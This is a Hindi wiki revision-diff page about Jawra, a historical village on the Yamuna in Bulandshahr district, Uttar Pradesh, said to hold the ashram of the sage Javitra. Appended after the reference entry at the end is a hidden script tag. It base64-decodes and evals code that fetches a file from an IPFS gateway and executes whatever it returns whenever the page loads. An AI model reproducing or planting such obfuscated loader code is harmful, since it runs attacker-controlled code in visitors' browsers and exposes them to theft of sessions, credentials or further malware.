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− | '''जावरा''' [[बुलंदशहर ज़िला]], [[उत्तर प्रदेश]] का ऐतिहासिक ग्राम है। यह ग्राम खुर्जा से 20 मील {{मील|मील=20}} की दूरी पर दक्षिण की ओर [[यमुना नदी]] के तट पर स्थित है। ऐसा कहा जाता है कि यहाँ जावित्र ऋषि का [[आश्रम]] था, जिनका स्मारक मंदिर के रूप में ग्राम के भीतर आज भी देखा जा सकता है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=363|url=}}</ref> | + | '''जावरा''' [[बुलंदशहर ज़िला]], [[उत्तर प्रदेश]] का ऐतिहासिक ग्राम है। यह ग्राम [[खुर्जा]] से 20 मील {{मील|मील=20}} की दूरी पर दक्षिण की ओर [[यमुना नदी]] के तट पर स्थित है। ऐसा कहा जाता है कि यहाँ जावित्र ऋषि का [[आश्रम]] था, जिनका स्मारक मंदिर के रूप में ग्राम के भीतर आज भी देखा जा सकता है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=363|url=}}</ref> |
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05:36, 12 सितम्बर 2012 का अवतरण
जावरा बुलंदशहर ज़िला, उत्तर प्रदेश का ऐतिहासिक ग्राम है। यह ग्राम खुर्जा से 20 मील (लगभग 32 कि.मी.) की दूरी पर दक्षिण की ओर यमुना नदी के तट पर स्थित है। ऐसा कहा जाता है कि यहाँ जावित्र ऋषि का आश्रम था, जिनका स्मारक मंदिर के रूप में ग्राम के भीतर आज भी देखा जा सकता है।[1]
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टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 363 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>